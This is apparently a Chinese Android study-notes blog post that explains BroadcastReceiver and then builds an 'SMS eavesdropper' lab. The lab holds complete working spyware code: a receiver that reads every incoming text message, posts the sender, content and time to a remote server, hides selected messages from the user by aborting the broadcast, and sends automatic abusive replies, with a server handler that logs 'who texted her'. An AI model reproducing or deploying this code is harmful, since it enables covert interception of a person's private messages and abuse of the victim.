安卓个人学习笔记---BroadcastReceiver实现短信窃听器

BroadcastReceiver概述:

BroadcastReceiver是接收从sendBroadcast()发出的intent的基类。你可以通过Context.registerReceiver()方法在代码中动态的注册一个BroadcastReceiver的实例,也可以通过再AndroidManifest.xml文件中用<receiver>标签来静态声明。

注意:如果你实在Activity.onResume()方法中注册的一个receiver,那么你必须在Activity.onPause()方法中进行注销。(当一个activity处于暂停状态是不会接收intents的,并且这样做也可以减小系统不必要的开销)。不要在Activity.onSaveInstanceState()方法中注销receiver,因为activity从栈中恢复的时候并不会调用这个方法了。

订阅广播:

<receiver android:name="MySMSListener">
   <intent-filter>
       <action 
android:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
</receiver>

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);

可以接收的broadcast主要分为两种类型:
   普通的broadcasts(通过Context.sendBroadcast发送)是完全异步的。这个broadcast的receiver以无序的状态运行,经常是在同一时刻运行。这种做法是十分高效的,但是也意味着receiver不能够利用相互处理的结果或者是调用退出的API来退出(因为不知道哪个receiver先接收到intent)。
   有序的broadcasts(通过Context.sendOrderedBroadcast发送)一次只发送给一个receiver。每一个receiver是有序的处理这个intent的,前面的receiver可以传递结果给下一个receiver,或者任意一个receiver都可以完全的退出,这样intent就不会传递给其他的receivers.receiver的执行顺序可以通过匹配的intent-filter中的android:priority属性来控制;如果有多个receivers处于同一个优先级,那么这几个receivers将会以任意的顺序来执行。
   即使是在广播普通的broadcasts的情况下,系统也有可能在某些情况下转换为一次发送一个broadcast给一个receriver。特别是当receivers需要创建进程时,在同一时刻仅仅一个receiver可以运行,避免系统因为这些新建的进程而过载。
   注意:尽管Intent类是用来发送和接受这些broadcasts,这里的Intentbroadcast机制和那些通过Context.startActivity()方法来启动activity的intent是完全独立的。一个BroadcastReceiver是没办法观察和捕获一个用于启动activity的intent的;同样的,当你通过intent来发出broadcast时,你也不可能(通过这个intent)找到或者启动一个activity的。这两种操作是完全不同的:通过一个intent来启动一个activity是一个前台操作,会改变用户当前交互的对象;而通过intent来发出broadcast是一个后台操作,用户经常是察觉不到的。
   BroadcastReceiver类(通过一个manifest的<receiver>标签作为一个组件启动)是应用程序全局声明周期重要的一部分。
  
讨论的主题
   1、Receiver的生命周期
   2、权限
   3、进程的生命周期
  
可以接收的broadcast主要分为两种类型
       普通的broadcasts(通过Context.sendBroadcast发送)是完全异步的。这个broadcast的receiver以无序的状态运行,经常是在同一时刻运行。这种做法是十分高效的,但是也意味着receiver不能够利用相互处理的结果或者是调用退出的API来退出(因为不知道哪个receiver先接收到intent)。

       有序的broadcasts(通过Context.sendOrderedBroadcast发送)一次只发送给一个receiver。每一个receiver是有序的处理这个intent的,前面的receiver可以传递结果给下一个receiver,或者任意一个receiver都可以完全的退出,这样intent就不会传递给其他的receivers.receiver的执行顺序可以通过匹配的intent-filter中的android:priority属性来控制;如果有多个receivers处于同一个优先级,那么这几个receivers将会以任意的顺序来执行。

       即使是在广播普通的broadcasts的情况下,系统也有可能在某些情况下转换为一次发送一个broadcast给一个receriver。特别是当receivers需要创建进程时,在同一时刻仅仅一个receiver可以运行,避免系统因为这些新建的进程而过载。

 

注意:

尽管Intent类是用来发送和接受这些broadcasts,这里的Intentbroadcast机制和那些通过Context.startActivity()方法来启动activity的intent是完全独立的。一个BroadcastReceiver是没办法观察和捕获一个用于启动activity的intent的;同样的,当你通过intent来发出broadcast时,你也不可能(通过这个intent)找到或者启动一个activity的。这两种操作是完全不同的:通过一个intent来启动一个activity是一个前台操作,会改变用户当前交互的对象;而通过intent来发出broadcast是一个后台操作,用户经常是察觉不到的。

BroadcastReceiver类(通过一个manifest的<receiver>标签作为一个组件启动)是应用程序全局声明周期重要的一部分。
  
讨论的主题
   1、Receiver的生命周期
   2、权限
   3、进程的生命周期

Receiver的生命周期

一个BroadcastReceiver的对象仅仅在调用onReceiver(COntext,Intent)的时间中有效。一旦你的代码从这个函数中返回,那么系统就认为这个对象应该结束了,不能再被激活。你在onReceive(Context, Intent)中的实现有着非常重要的影响:任何对于异步操作的请求都是不允许的,因为你可能需要从这个函数中返回去处理异步的操作,但是在那种情况下,BroadcastReceiver将不会再被激活,因此系统就会再异步操作之前杀死这个进程。

特别是,你不应该再一个BroadcastReceiver中显示一个对话框或者绑定一个服务。对于前者(显示一个对话框),你应该用NotificationManagerAPI来替代,对于后者(绑定一个服务),你可以使用Context.startService()发送一个命令给那个服务来实现绑定效果。

 

权限

存取的权限可以通过在发送方的Intent或者接收方的Intent中强制指定。

       在发送一个broadcast时强制指定权限,就必须提供一个非空的peemission参数给sendBroadcast(Intent,String)或者是sendOrderedBroadcast(Intent, String,BroadcastReceiver, android.os.Handel, int, String, Bundle)。只有那些拥有这些权限(通过在ANdroidManifest.xml文件中相应的声明<uses-permission>标签)的receiver能够接收这些broadcast。

在接收一个broadcast时强制指定权限,就必须在注册receiver时提供一个非空的permission参数--无论是在调用registerReceiver(BroadcastReceiver, IntentFilter,String, android.os.Handler)或者是通过再AndroidManifest.xml文件中通过<receiver>静态标签来声明。只有那些拥有这些权限(通过在相应的AndroidManifest.xml文件中查询<uses-permission>标签来获知)的发送方将能够给这个receiver发送Intent。

对于安全和权限的详细内容请查看Security and Permission文档。

 

进程的生命周期

一个正在执行BroadcastReceiver(也就是,正在执行onReceive(COntext, Intent)方法)的进程被认为是一个前台的进程,将会一直运行,除非系统处于内存极度低的情况下。

一旦从OnReceive()方法中返回,这个BroadcastReceiver将不会再被激活,此时它的主进程就和任何其他运行于此应用程序中的组件拥有相同的优先级。这一点非常重要,如果进程仅仅只是拥有BroadReceiver(一个普遍的情况是用户从不或者是最近没有和它进行交互),因此一旦它从onReceive()方法中返回时,系统就会认为进程是空的并且主动的杀死它,以便这些资源可以被其他重要的进程利用。

这意味着对于耗时的操作,可以采用将Service和BroadcastReceiver结合使用以确保执行这个操作的进程在整个执行过程中都保持激活状态。

实验(短信窃听器):

服务器(videoweb):

l  修改formbean:VideoForm中增加短信的时间、内容和发送者属性

l  VideoManageAction中增加方法getSMS来获取窃听器发送的短消息

public ActionForward getSMS(ActionMapping mapping, ActionForm form,
			HttpServletRequest request, HttpServletResponse response)
			throws Exception {
	VideoForm formbean = (VideoForm)form;
	System.out.println("发送时间:"+ formbean.getTime());
	System.out.println("谁给她发的短信:"+ formbean.getSender());
	System.out.println("内容:"+ formbean.getContent());
	return mapping.findForward("result");
}

客户端SMS_Listener

1、 清单文件

中订阅广播

<receiver android:name=".MySMSListener">
  <intent-filter>
      <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
 </intent-filter>
</receiver>

添加短信接收权限,访问网络权限

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>

1、 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。

package cn.song.listener;

import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;

import cn.song.utils.SocketHttpRequester;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

import android.util.Log;

public class MySMSListener extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Bundle bundle = intent.getExtras();
		Object[] pdus = (Object[]) bundle.get("pdus");
		
		if(pdus != null && pdus.length>0){
			//接收了短信
			SmsMessage[] smsMessages = new SmsMessage[pdus.length];
			for(int i= 0;i<smsMessages.length;i++){
				byte[] pdu = (byte[]) pdus[i];
				smsMessages[i]  = SmsMessage.createFromPdu(pdu);
			}
			
			for(SmsMessage msg:smsMessages){
				String content = msg.getMessageBody();
				String sender = msg.getOriginatingAddress();
				Date date = new Date(msg.getTimestampMillis());
				//转换日期格式
				SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
				String sendTime = sdf.format(date);
				
				String path = "http://192.168.65.5:8080/videoweb/video/manage.do";
				Map<String, String> param = new HashMap<String, String>();
				param.put("method", "getSMS");
				param.put("content", content);
				param.put("sender", sender);
				param.put("time", sendTime);
				try {
					SocketHttpRequester.post(path, param, "UTF-8");
				} catch (Exception e) {
					Log.e("TAG", e.toString());
				}
				if(sender != null && sender.endsWith("15933915201")){
					SmsManager smsManager = SmsManager.getDefault();
					smsManager.sendTextMessage("5556", null, "go to hell", null, null);
					this.getAbortBroadcast(); 
				}
			}
			
		}
	}

}



SmsMessage

public static SmsMessage createFromPdu(byte[] pdu)

从原始的PDU(protocol description units)创建一个SmsMessage。这个方法很重要,在我们编写短信接收程序要用到,它从我们接收到的广播意图中获取的字节创建SmsMessage。

 

public String getOriginatingAddress ()
以String返回SMS信息的来电地址,或不可用时为null。

 

public String getMessageBody ()
以一个String返回消息的主体,如果它存在且是基于文本的。

 

短信管理器 : SmsManager

1). 在 Android 2.0 以前 应该使用android.telephony.gsm.SmsManager

   之后应该用 android.telephony.SmsManager;

2). 获取系统默认的短信管理器 

SmsManager smsManager =SmsManager.getDefault();

3). 按照每条短信最大字数来拆分短信

   List<String>divideContents = smsManager.divideMessage(content);

4). 发送短信

       smsManager.sendTextMessage(destinationAddress,scAddress, text, sentIntent, deliveryIntent)

             --destinationAddress:目标电话号码

             --scAddress:短信中心号码,测试可以不填

             --text: 短信内容

             --sentIntent:发送 -->中国移动 --> 中国移动发送失败 --> 返回发送成功或失败信号 --> 后续处理   即,这个意图包装了短信发送状态的信息

             --deliveryIntent: 发送 -->中国移动 --> 中国移动发送成功 --> 返回对方是否收到这个信息 --> 后续处理  即:这个意图包装了短信是否被对方收到的状态信息(供应商已经发送成功,但是对方没有收到)。

 

5). 声明短信发送权限

     *AndroidManifest.xml

      <uses-permissionandroid:name="android.permission.SEND_SMS"/>

 

1、 进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复

 

添加短信发送权限:

<uses-permission android:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下

String sendContent = sdf.format(date) + ":" + sender + "--"
						+ content;
				
Log.i("TAG",sendContent);

if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){
	SmsManager smsManager = SmsManager.getDefault();
	smsManager.sendTextMessage("5556",null,"game over",null,null);
	this.abortBroadcast(); //终止广播
}

测试:

启动另一个模拟器,向部署客户端的模拟器发送短信,查看服务器端后台输出,并且观察客户端运行模拟器是否有短信接收。


补充:

       除了短信到来广播Intent ,Android 还有很多广播 Intent ,如:开机启动、电池电量变化、时间已经改变等广播 Intent 。

 

l 接收电池电量变化广播 Intent ,在AndroidManifest.xml 文件中的 <application>

节点里订阅此 Intent:

<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
   <action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>



l 接收开机启动广播 Intent , 在AndroidManifest.xml 文件中的 <application> 节点里

订阅此 Intent:

<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
  <action android:name=”android.intent.action.BOOT_COMPLETED” />
</intent-filter>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

通常一个 BroadcastReceiver 对象的生命周期不超过5 秒 , 所以在BroadcastReceiver里不能做一些比较耗时的操作 , 如果需要完成一项比较耗时的工作 , 可以通过发送 Intent给 Activity 或Service ,由 Activity 或 Service 来完成。

public class IncomingSMSReceiver extends BroadcastReceiver {
	public void onReceive(Context context, Intent intent) {
		// 发送 Intent 启动服务,由服务来完成比较耗时的操作
		Intent service = new Intent(context, XxxService.class);
		context.startService(service);
		// 发送 Intent 启动 Activity ,由 Activity 来完成比较耗时的操作
		Intent newIntent = new Intent(context, XxxActivity.class);
		context.startActivity(newIntent);
	}
}

当然, 实现了BroadcastReceiver ,有时你可能会觉得不需要它 , 那么你可以将已经注册好的BroadcastReceiver 进行注销 :

unregisterReceiver( BroadcastReceiver receiver) ;


你可能感兴趣的:(exception,android,String,service,null,中国移动)